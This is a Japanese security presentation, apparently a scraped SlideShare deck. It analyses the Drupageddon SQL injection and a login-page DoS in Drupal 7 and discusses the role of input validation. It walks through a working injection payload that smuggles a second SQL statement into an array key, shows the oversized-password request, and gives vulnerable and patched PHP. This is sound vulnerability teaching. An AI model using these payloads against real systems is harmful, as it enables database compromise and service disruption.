[go: up one dir, main page]
More Web Proxy on the site http://driver.im/
SlideShare a Scribd company logo
SecurityとValidationの奇妙な関係、あるいは
DrupalはなぜValidationをしたがらないのか
HASHコンサルティング株式会社
徳丸 浩
アジェンダ
• Drupalの2つの脆弱性
– Drupageddon(CVE-2014-3704)
– Drupalのログイン画面におけるDoS脆弱性(CVE-2014-
9999)
• Drupalの脆弱性とValidation
• SecurityとValidationの奇妙な関係
• Validation論争
Copyright © 2012-2014 HASH Consulting Corp. 2
Drupalとは
Drupal(ドルーパル、発音: /ˈdruːpəl/)は、プログラム言語PHPで記述され
たフリーでオープンソースのモジュラー式フレームワークであり、コンテ
ンツ管理システム (CMS) である。昨今の多くのCMSと同様に、Drupalはシ
ステム管理者にコンテンツの作成と整理、提示方法のカスタマイズ、管理
作業の自動化、サイトへの訪問者や寄稿者の管理を可能にする。
その性能がコンテンツ管理から、幅広いサービスや商取引を可能にするに
まで及ぶことから、Drupalは時々「ウェブアプリケーションフレームワー
ク」であると評される。Drupalは洗練されたプログラミング・インター
フェースを提供するものの、基本的なウェブサイトの設置と管理はプログ
ラミングなしに成し遂げることができる。Drupalは一般に、最も優れた
Web 2.0フレームワークの一つであると考えられている。
※Wikipediaより引用
3
WhiteHouse NASA 国立国会図書館カレントアウェアネス
Drupageddon
Copyright © 2012-2014 HASH Consulting Corp. 4
Drupageddon(CVE-2014-3704)とは
• Drupal Ver7.31以前に存在するSQLインジェクショ
ン脆弱性
• 非常に危険性の高い脆弱性であるので、アルマゲド
ンをもじってドゥルパゲドンと命名された模様
• 日本ではあまり話題になっていない(Drupalのシェ
アのせい?)
Copyright © 2012-2014 HASH Consulting Corp. 5
Drupalの脆弱性突く攻撃横行、「侵入されたと想定して対処を」
オープンソースのコンテンツ管理システム(CMS)「Drupal」に
極めて深刻な脆弱(ぜいじゃく)性が見つかった問題で、Drupalは
10月29日、脆弱性修正のパッチを直後に適用しなかったWebサイト
は侵入された可能性があると警告した。米セキュリティ機関のUS-
CERTも、アップデートや回避策の適用を呼びかけている。
問題のSQLインジェクションの脆弱性は、Drupalのバージョン7.x
に存在する。悪用された場合、攻撃者にバックドアを仕掛けられ、
サイトの全データをコピーされる恐れがある。攻撃の痕跡は残らな
い。この脆弱性を修正した「Drupal 7.32」は10月15日にリリースさ
れた。
Drupalによると、この10月15日の発表の直後から、脆弱性を修正
していないWebサイトに対する攻撃が始まった。「すべてのDrupal
7サイトは、世界協定時間の10月15日午後11時(日本時間16日午前8
時)までにアップデートまたはパッチを適用していない限り、破ら
れたと想定して対処しなければならない」とDrupalは警告する。
6http://www.itmedia.co.jp/enterprise/articles/1410/31/news050.html より引用
Drupalのログイン処理のSQL文を調べる
Copyright © 2012-2014 HASH Consulting Corp. 7
name=admin&pass=xxxxxxxx&form_build_id=form-xQZ7X78LULvs6SyB9Mvuf
bZh5KXjQYRHS05Jl2uD9Kc&form_id=user_login_block&op=Log+in
SELECT * FROM users WHERE name = 'admin' AND status = 1
name[]=user1&name[]=user2&pass=xxxxxxxx&form_build_id=form-xQZ7X7
8LULvs6SyB9MvufbZh5KXjQYRHS05Jl2uD9Kc&form_id=user_login_block&op
=Log+in
SELECT * FROM users WHERE name = 'user1', 'user2' AND status = 1
通常時の要求
通常時のSQL文
nameを配列で指定
nameを配列にした場合のSQL文
文字列リテラルが複数生成される
IN句生成の便利な呼び出し方だが…
Copyright © 2012-2014 HASH Consulting Corp. 8
<?php
db_query("SELECT * FROM {users} where name IN (:name)",
array(':name'=>array('user1','user2')));
?>
SELECT * from users where name IN (:name_0, :name_1)
array(':name_0'=>'user1', ':name_1'=>'user2'))
db_queryにてIN句のバインド値を配列にすると…
IN句の値がプレースホルダのリストに展開される
バインド値の配列は以下の様に変形される
キー名をつけると
Copyright © 2012-2014 HASH Consulting Corp. 9
name[id1]=user1&name[id2]=user2
SELECT * FROM {users} WHERE name = :name_id1, :name_id2 AND statu
s = 1
キー名をつけてみる(id1, id2)
プレースホルダにキー名がつく
空白付きのキー
Copyright © 2012-2014 HASH Consulting Corp. 10
array(2) {
[":name_1 xxxxx"] => "user1" ← :name_1 ではない
[":name_2"] => "user2"
}
SELECT * FROM {users} WHERE name = :name_1 xxxxx, :name_2 AND sta
tus = 1
キー名に空白をつけてみる
プレースホルダに空白が含まれる
ちぎれたプレースホルダはSQL文
の一部として認識される
プレースホルダには、キー :name_1がないので上記のSQL文呼び出しはエラーになる
name[1 xxxxx]=user1&name[2]=user2
バインド値のつじつまを合わせる
Copyright © 2012-2014 HASH Consulting Corp. 11
array(2) {
[":name_2 xxxxx"] => ""
[":name_2"] => "user2"
}
SELECT * FROM {users} WHERE name = :name_2 xxxxx, :name_2 AND sta
tus = 1
キー名に空白をつけてみる
プレースホルダに空白が含まれる
プレースホルダ :name_2 が
2箇所現れる
プレースホルダ配列は上記SQL文の要求を満たすのでSQL文は呼び出される…
が、xxxxxの箇所でSQLの文法違反となる
name[2 xxxxx]=&name[2]=user2
SQLインジェクションを試す
Copyright © 2012-2014 HASH Consulting Corp. 12
SELECT * FROM users WHERE name = 'user2' ;SELECT sleep(10) -- , '
user2' AND status = 1
キー名に追加のSQL文を書く
実際に呼び出されるSQL文
name[2 ;SELECT sleep(10) -- ]=&name[2]=user2
SELECT * FROM {users} WHERE name = :name_2 ;SELECT sleep(10) -- ,
:name_2 AND status = 1
プレースホルダの後ろに追加のSQL文が現れる
脆弱なソース
// includes/database/database.inc
protected function expandArguments(&$query, &$args) {
$modified = FALSE;
// $argsの要素から配列のみ処理対象として foreach
foreach (array_filter($args, 'is_array') as $key => $data) {
$new_keys = array();
// $dataは配列であるはずなので、foreach 可能。 $i(キー)に注目
foreach ($data as $i => $value) {
$new_keys[$key . '_' . $i] = $value;
}
// $queryを改変 $new_keysのキーをarray_keysでSQL文に混ぜている
$query = preg_replace('#' . $key . 'b#',
implode(', ', array_keys($new_keys)), $query);
unset($args[$key]);
$args += $new_keys;
$modified = TRUE;
}
return $modified;
}
Copyright © 2012-2014 HASH Consulting Corp. 13
対策版
// includes/database/database.inc
protected function expandArguments(&$query, &$args) {
$modified = FALSE;
// $argsの要素から配列のみ処理対象として foreach
foreach (array_filter($args, 'is_array') as $key => $data) {
$new_keys = array();
// $dataは配列であるはずなので、foreach 可能。 $i(キー)に注目
//foreach ($data as $i => $value) {
foreach (array_values($data) as $i => $value) { // キーを削除
$new_keys[$key . '_' . $i] = $value;
}
// $queryを改変 $new_keysのキーをarray_keysでSQL文に混ぜている
$query = preg_replace('#' . $key . 'b#',
implode(', ', array_keys($new_keys)), $query);
unset($args[$key]);
$args += $new_keys;
$modified = TRUE;
}
return $modified;
}
Copyright © 2012-2014 HASH Consulting Corp. 14
Drupalのログイン画面におけるDoS脆弱
性(CVE-2014-9016)
Copyright © 2012-2014 HASH Consulting Corp. 15
16http://jvndb.jvn.jp/ja/contents/2014/JVNDB-2014-005632.html より引用
想定される影響
第三者により、巧妙に細工されたリクエストを介して、
サービス運用妨害 (CPU 資源およびメモリの消費)
状態にされる可能性があります。
巧妙に細工されたリクエスト…とは?
POST /drupal731/?q=node&destination=node HTTP/1.1
Host: example.jp
User-Agent: Mozilla
Cookie: has_js=1
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 10114
name=admin&pass=1234567890123456789012345678901234567890123456789012
345678901234567890123456789012345678901234567890123456789012345678901
234567890123456789012345678901234567890123456789012345678901234567890
123456789012345678901234567890123456789012345678901234567890123456789
012345678901234567890123456789012345678901234567890123456789012345678
901234567890123456789012345678901234567890123456789012345678901234567
890123456789012345678901234567890123456789012345678901234567890123456
789012345678901234567890123456789012345678901234567890……..…1234567890
123456789012345678901234567890123456789012345678901234567890123456789
012345678901234567890123456789012345678901234567890123456789012345678
901234567890123456789012345678901234567890&form_build_id=form-Fw_Sa9fPZ
5wQBHOURorm7aOILRlK2KXropvxrELFKtc&form_id=user_login_block&op=Log+in
Copyright © 2012-2014 HASH Consulting Corp. 17
100万バイトの
パスワード
DEMO
パスワードハッシュ値の計算部分
function _password_crypt($algo, $password, $setting) {
// ...
// Convert the base 2 logarithm into an integer.
$count = 1 << $count_log2; // $count は32768となる
// We rely on the hash() function being available in PHP 5.2+.
// ソルトとパスワードを連結したもののSHA-512ハッシュを求める
$hash = hash($algo, $salt . $password, TRUE);
do {
// これまでのハッシュ値とパスワードを連結したもののSHA-512ハッシュ
$hash = hash($algo, $hash . $password, TRUE);
} while (--$count); // 32768回繰り返し
$len = strlen($hash);
$output = $setting . _password_base64_encode($hash, $len);
$expected = 12 + ceil((8 * $len) / 6);
return (strlen($output) == $expected) ? substr($output, 0,
DRUPAL_HASH_LENGTH) : FALSE;
}
Copyright © 2012-2014 HASH Consulting Corp. 18
対策版
function _password_crypt($algo, $password, $setting) {
// Prevent DoS attacks by refusing to hash large passwords.
if (strlen($password) > 512) {
return FALSE;
}
// 後は同じ…
}
Copyright © 2012-2014 HASH Consulting Corp. 19
Drupalの脆弱性とValidation
Copyright © 2012-2014 HASH Consulting Corp. 20
Drupalとバリデーション
• Drupalは必要最低限のバリデーションしかしない
• ユーザ登録の際にはバリデーションをしている
– ユーザIDは60文字以下
– パスワードは128文字以下
• ログインの際は、バリデーションは何もしていない
• バリデーションが「ヒント」になるといけないか
ら?
• 現実的に、バリデーションさえやっていれば、2つ
の脆弱性は防げていた
Copyright © 2012-2014 HASH Consulting Corp. 21
SecurityとValidationの奇妙な関係
Copyright © 2012-2014 HASH Consulting Corp. 22
徳丸本にはなんと書いてあるか?
◆ 入力値検証とセキュリティ
入力値検証の主目的はセキュリティのためではありませんが、
セキュリティのために役立つ場合もあります。入力値検証がセ
キュリティの役に立つのは以下のようなケースです。
• SQLインジェクション対策が漏れていたパラメータがあるが、
英数字のみ許可していたので実害には至らない
• PHP のバイナリセーフでない関数(後述)を使っているが、
入力段階で制御文字をチェックしているので実害には至らな
い
• 表示処理の関数に文字エンコーディングの指定を怠っている
が、入力段階で不正な文字エンコーディングをチェックして
いるので実害には至らない
23
体系的に学ぶ 安全なWebアプリケーションの作り方 P76より引用
もう入力値検証はセキュリティ対策として *あてにしない* ようにしよう
スタックオーバーフロー対策をする場合、関数の入口でチェックすれば大抵対策可
能なんだけど、それだと対策漏れの可能性があるから、例えば、strcpyの代わりに
strncpyあるいはもっと高機能な文字列関数を使うことが当然になってきました。
これは、入口でのチェックだと漏れやすいから、脆弱性が発生するその箇所で対策
するという考え方にシフトしているのだと私は考えます。
Webアプリケーションの場合も同様で、…例えば、パストラバーサル脆弱性対処の
ためのファイル名の確認は、ファイルをオープンする直前(ファイル名を使う直
前)に行うべきだ、という考え方です。
スタックオーバーフローに話を戻すと、関数の入口で行うチェックは、strcpyを呼
び出している関数の中で閉じた話なので、入口でのチェックとstrcpy呼び出しは、
それほど場所的に離れてはいないはずです。それでも、関数の入口でのチェックに
頼らずに、文字列のコピーをするたびにバッファ長の確認をするべきだということ
です。
これに対して、Webアプリケーションの場合、リクエストを受け取ってから、入力
値を使う(HTML生成、SQL組み立て、ファイルオープン…)までは、さまざまな関
数を経て複雑な処理になっている場合が多いです。それだと、「このパラメータは
本当に検証されているのか」という確認には、さらに多大な労力が必要で、間違い
も生じやすいと言えます。
24
http://tumblr.tokumaru.org/post/55393403591 より引用
続き…まとめ
• 脆弱性対策はミクロな範囲で確認できることが望ましい
• 入力値検証による脆弱性対策は、検証と脆弱性発生箇所が離
れるので、確認がしにくい
• 入力値の仕様は変更の可能性があるので、入力値検証に頼っ
たセキュリティ施策は仕様変更に脆弱になる
• そもそも入力値検証の元となる「仕様」は脆弱性とは無関係
に決められるものなので、脆弱性対処としてあてにするべき
ではない
• 脆弱性は「入力値(HTTPリクエスト)」だけに起因するも
のではないので、その意味で入力値検証に頼ることは危険
• 入力値検証をするなという意味ではない。入力値検証は脆弱
性対処とは独立して行うべきである
25
http://tumblr.tokumaru.org/post/55393403591 より引用
入力バリデーションはセキュリティ対策として*あてにする*ものではありません
徳丸さんに返信した前のエントリのリンクに「もう入力値検証はセキュリティ対策
として *あてにしない* ようにしよう」とあったので補足しておきます。
そもそも入力バリデーションは「あてにする」ような物ではありません。セキュリ
ティ対策としては「転んだ時に役立つかも知れない杖」と捉えるべきです。役立つ
か役立たないかは分かりませんが、SANS/CWE TOP 25で「怪物的な緩和策」
(Monster Mitigation)のNo 1として挙げられているセキュリティ対策です。
つまり、毎年多数登録されるソフトウェア脆弱性データベースであるCVEデータ
ベースのセキュリティ問題に対して、最も効果があるセキュリティ対策である、と
いう事です。運任せでも統計的に役立つ事が実証されているセキュリティ対策を導
入しないのは効果的なセキュリティ対策であるとは言えません。
入力バリデーションは「あてにする」ような物ではありませんが、セキュリティ対
策として必ずやるべき対策です。運任せなので、より幸運にも脆弱性が攻撃できな
い状況になるよう、ホワイトリスト方式で厳格にバリデーションするのが正しいや
り方です。
26
http://blog.ohgaki.net/input-validation-is-not-dependable-but-efficient-security-measure より引用
まとめ
• Drupalのログイン処理ではバリデーションをしていない
• Drupalの開発者は、ミクロの対処にこだわっているように見
える
– おまえとは旨い酒が飲めそうだw
• しかし、頑なにバリデーションを拒否する必要もないように
思える
• セキュリティ面から見た場合、バリデーションは…
– Good : 様々な局面や未知の局面で役立つ可能性
– Bad : 脆弱性の根本対策ではない、役に立つとは限らない
• 大垣さんと徳丸のバリデーションに関する主張はほとんど同
じで常人には区別は不能
• バリデーションは、アプリケーション仕様を元にやっときま
しょう。「転ばぬ先の杖」になる場合もありますw
Copyright © 2012-2014 HASH Consulting Corp. 27

More Related Content

SecurityとValidationの奇妙な関係、あるいはDrupalはなぜValidationをしたがらないのか